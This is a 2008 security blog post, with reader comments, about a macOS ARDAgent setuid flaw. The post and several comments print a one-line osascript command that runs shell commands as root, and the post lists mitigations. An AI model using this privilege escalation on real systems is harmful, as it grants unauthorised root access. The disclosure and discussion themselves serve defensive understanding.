Apple Ships SUIDs With AppleScript Dictionaries. Hilarity Ensues.
Thomas Ptacek | June 19th, 2008 | Filed Under: Apple
Item.
FAIL: Got a Mac? Pull up a Terminal and type
osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
Yep, you’re root. ARDAgent is the Apple Remote Desktop agent application. It’s SUID root —- it runs as the superuser, not your user. That means it needs to be careful not to expose features that let its users muck with the system as superuser. ARDAgent has an AppleScript dictionary. One of the entries in that dictionary is “do shell script”.
Item.
This vulnerability takes us back. It’s not SunOS 4.1.3 IFS variable bad. It’s AIX “tprof” bad. It’s a SUID program whose job is to run programs as root for you. It’s “su” without the password. Well played!
Item.
All due respect to the amazing developers at Apple, who make miracles happen every day and restore childlike joy to our lives, but this confirms Dave’s thesis about Apple developers and Unix security: take a large group of C programmers who cut their teeth on the Mac Toolbox APIs and give them “The Unix You Know On The Mac You Love”, and the result is not —- pardon me for suggesting this —- “Safer by Design”.
There’s a crack team of security people at Apple doing an excellent job locking down an extremely complex operating system. But if you’re lining them up against every Apple developer and giving the developer side the “SUID” bit, it’s not a fair fight. It’s whack-a-mole.
Item.
You can fix this with “chmod u-s ARDAgent”, by removing ARDAgent, or by putting “NSEnableApplescript=YES” in the plist for ARDAgent.
Item.
Start looking for other SUIDs with AppleScript dictionaries; rack up the CVE entries now. They’re mostly harmless, after all.
Item.
There, I said it. We don’t care. Really. I didn’t even fix it on my machine. What’s the point?
My sysadmin alter-ego is infamous for messing up servers after install. I like to deploy systems with no SUIDs at all. The ISP I helped run in the ’90s —- EnterAct —- ran without an SUID “passwd” program. Changing passwords is the motivating use case for SUID. You need to be root to edit the password file. On our systems, passwd was a client of a little network service that did the change. I found the FreeBSD 2.1.4 crt0 hole because one of our dev servers got cracked, it had only one SUID that dropped creds 2 lines into “main()”, and where else could the flaw have been? So I feel like, in the course of pissing off my friends and colleagues for going on 15 years now, I’ve built up the credibility to say:
Who cares if someone busts root on your Mac?
It’s a single-user system. I let you in on a Matasano state secret: if you break the “tqbf” account on my laptop, I’m in trouble. If you’re malware and just trying to spread, or redirect my browser to phishing pages, you’re wasting your time with this “root” silliness.
Item.
For once, the Slashdot commentariat seems to be on the ball. Check out these +4’s:
THe thing is, it’s not true that “one of the main security aspects of OS X is that root access is held sacred (as it should be) and malware is assumed to be ‘stopped at the gate’ by that policy”. It’s not. You can protect the OS from the malware, but the malware can still hide, still restart itself after a reboot, and still destroy everything you actually CARE about without root access. And malware can similarly break out of Vista’s jail around IE, and whatever APple does along those lines.
Unfortunately KDE, Qt, X11, Gtk, Gnome, and the whole “let’s make Linux into Windows” desktop hodgepodge that’s layered on top of UNIX[1] is incredibly complex, has many components running with elevated privileges, and while it has fewer exploitation vectors than Windows it’s conceptually more complex than the NeXTstep-derived equivalents in OS X.
“Malware arguably (one of the greatest scourges of modern computing) spreads by just that, local root vulnerabilities”. No, it does not. Most malware doesn’t need root to do most of the things it wants to do. Having root opens up some more possibilities, but it is by now means required.
There are those here, though, who seem intent on writing this off as a non-exploit or trying to explain it away. That’s where a concept known as “Intellectual Honesty” comes into play. You have to be honest with yourself about what you know and do. Viruses are a fact of life on computers and, while Apple is closed architecture (which by its very nature makes it MUCH more secure than other OSes), it’s only a matter of time before real viruses appear for the Apple platform that just won’t be able to be explained away.
stephen
June 19th, 2008 3:25 pmthats pretty funny. The bug itself isn’t too worrisome, but it is indicative of some serious oversights in design that I am sure will get released and discovered in the very near future….very near….like around February ‘09
mmb » Blog Archive » Matasano Chargen » Apple Ships SUIDs With AppleScript Dictionaries. Hilarity Ensues.
June 19th, 2008 3:37 pm[…] Matasano Chargen » Apple Ships SUIDs With AppleScript Dictionaries. Hilarity Ensues. […]
ARDAgent setuid allows root access, but there’s a sort-of fix | Apple,iPhone,Mac,iPod
June 19th, 2008 7:00 pm[…] Thomas Ptacek of Matasano weighs in on that flaw and offers some additional workarounds, but he doesn’t seem overly […]
john
June 19th, 2008 7:55 pmOn Leopard, in which directory is the plist for ARDAgent?
Mo
June 20th, 2008 2:47 amYou can work around this issue (should you want to), by enabling ARD. Perversely.
I guess when ARD is turned on, ARDAgent acts as smartly as it should be all of the time. Quite why you’re able to script it at *all* when ARD’s switched off is beyond me.
André Medeiros
June 20th, 2008 4:03 amYeah, nice going.
I used another workaround for the matter tho.
I’m With Ptacek- I Run My Mac As Admin | securosis.com
June 20th, 2008 9:10 am[…] was reading Thomas Ptacek’s post on the vulnerability, and I think it’s time I joined Tom and came out of the […]
Kirk
June 20th, 2008 9:35 amNothing personal, but you haven’t understood it. ARDAgent doesn’t have an AppleScript dictionary. But it does have the ability to pass AppleScripts on to the OS as Root. So you can look for dictionaries all you like, and that won’t change anything.
Bill
June 20th, 2008 10:28 amFirst, Having ARD on is NOT an effective workaround for this issue.
Second, I think there’s a difference between “having an AppleScript dictionary” (which means handling some custom AppleScript commands) and just handling system AppleScript commands (like “do shell script”). ARDAgent falls into the latter, as do any “normal” applications without having to do anything special related to AppleScript.
Off to USENIX! « BeOCD
June 20th, 2008 11:15 am[…] EPIC FAIL Apple, thats worse than AIX shipping with setuid ftp, dig, telnet, […]
Safer by design (ma dde che?) - ReFactor.it
June 20th, 2008 1:24 pm[…] sicurezza di Mac OS X siano solo in attesa di una bella doccia fredda. Prendete ad esempio questo articolo: basta un AppleScript di una riga per […]
brunerd
June 20th, 2008 1:30 pmWell if you turn ARD on and have any local users that are standard, then those standard users can run root commands with ARD if Allow All Users (the default) radio button is selected… I noticed that a while back, didn’t seem quite right: http://www.brunerd.com/blog/2008/03/08/ard-security-awareness-standard-user-can-run-root-commands/
Eric Monti
June 20th, 2008 6:42 pm@tom:
> Who cares if someone busts root on your Mac?
> It’s a single-user system. I let you in on a
> Matasano state secret: if you break the “tqbf”
> account on my laptop, I’m in trouble. If you’re
> malware and just trying to spread, or redirect my
> browser to phishing pages, you’re wasting your
> time with this “root” silliness.
That raises this point then eh?
sh-3.2$ id
uid=4294967294(nobody) gid=4294967294(nobody) groups=4294967294(nobody)
sh-3.2$ osascript -e ‘tell app “Finder” to do shell script “whoami”‘
emonti
js
June 21st, 2008 4:05 am$ id
uid=501(jsiren) gid=501(jsiren) groups=501(jsiren), 81(appserveradm), 79(appserverusr), 80(admin)
$ uname -a
Darwin (redacted) 8.11.1 Darwin Kernel Version 8.11.1: Wed Oct 10 18:23:28 PDT 2007; root:xnu-792.25.20~1/RELEASE_I386 i386 i386
$ osascript -e ‘tell app “ARDAgent” to do shell script “whoami”‘
23:47: execution error: ARDAgent got an error: Connection is invalid. (-609)
What am I doing wrong, or does this not work in Tiger? (10.4.11)
Max Howell
June 21st, 2008 8:24 amIt’s so easy to target. You just need to figure out how to make some internet enabled software execute Applescript, and almost all of them do. If Safari has an exploit where it executes Applescript without asking the user first.. well, that would suck.
This single-user system argument is weird. We all use single-user systems, and none of us want keyloggers installed behind our backs.
Frexo.Net » Blog Archive » ARDAgent setuid allows root access, but there’s a sort-of fix
June 21st, 2008 11:48 am[…] Thomas Ptacek of Matasano weighs in on this flaw and offers some additional workarounds, but he doesn’t seem overly […]
ARDAgent Exploit, MacOS X Malware, and Snow Leopard, Oh My! « …And you will know me by the trail of bits
June 23rd, 2008 12:27 am[…] Exploit, MacOS X Malware, and Snow Leopard, Oh My! As also reported by Intego and Matasano, a new local privilege escalation vulnerability has been found that gives local root access on […]
Zero Day mobile edition
June 23rd, 2008 7:53 pm[…] reported by Intego and Matasano Security, a new local privilege escalation vulnerability has been found that gives local root access on Mac […]
Ken
June 25th, 2008 3:39 amWhen I run osascript -e ‘tell app “ARDAgent” to do shell script “whoami” all I get is “Damn, that was fun”
I put my own bin directory before /usr/bin in my PATH
cat ~/bin/osascript
$ echo “Damn, that was fun”
Now if I wanted I could create an application that asked me if I wanted to run the osascript first, if I click Yes it would then forward that request to the real osascript, wherever that now is.
Or did I miss something entirely?
peter
June 25th, 2008 7:36 am>This single-user system argument is weird. We all use single-user systems,
> and none of us want keyloggers installed behind our backs.
In the simplest case, in order for this vulnerability to work, the malicious program needs to be already running on your machine, which will most likely be under your user account. Which means that it will already have access to ALL your data and can do ALL the damage to your system that it wants, including installing backdoors/keyloggers etc. Having root will not make the situation that much worse.
That is, unless you have many users on your machine, in which case having root access will allow the the trojan to affect other users.
a WhiteMage’s portal… » Blog Archive » First (known) Mac OS X Virus (a trojan) on the net
June 25th, 2008 1:06 pm[…] Matasano’s blog, Slashdot. […]
Blayne Sucks » Mac OS X Security in Snow Leopard
June 27th, 2008 10:56 am[…] I think the most interesting development has been the discussion of a SUID vulnerability by Matasano Chargen, among others. The vulnerability can be easily fixed […]
Matt Schinckel
June 30th, 2008 6:43 amSeems like a non-issue on my (Leopard) machine:
user@host:/tmp$ osascript -e ‘tell app “ARDAgent” to do shell script “whoami”‘
23:47: execution error: ARDAgent got an error: “whoami” doesn’t understand the do shell script message. (-1708)
MBE | Mac Business Experts » Blog Archive » Saiu o Mac OS X 10.5.4
June 30th, 2008 5:30 pm[…] 10.5.4 para o Mac OS X. Entre outras coisas a atualização corrige falhas de segurança (provavelmente incluindo a do ARDAgent…) e o bug que corrompia arquivos do Photoshop CS3 salvos em volumes remotos via […]
MBE | Mac Business Experts » Blog Archive » Saiu o Mac OS X 10.5.4 (UPDATE 2)
June 30th, 2008 10:34 pm[…] Não, o Mac OS X 10.5.4 não corrigiu a falha de segurança do ARDAgent… […]
Leave a reply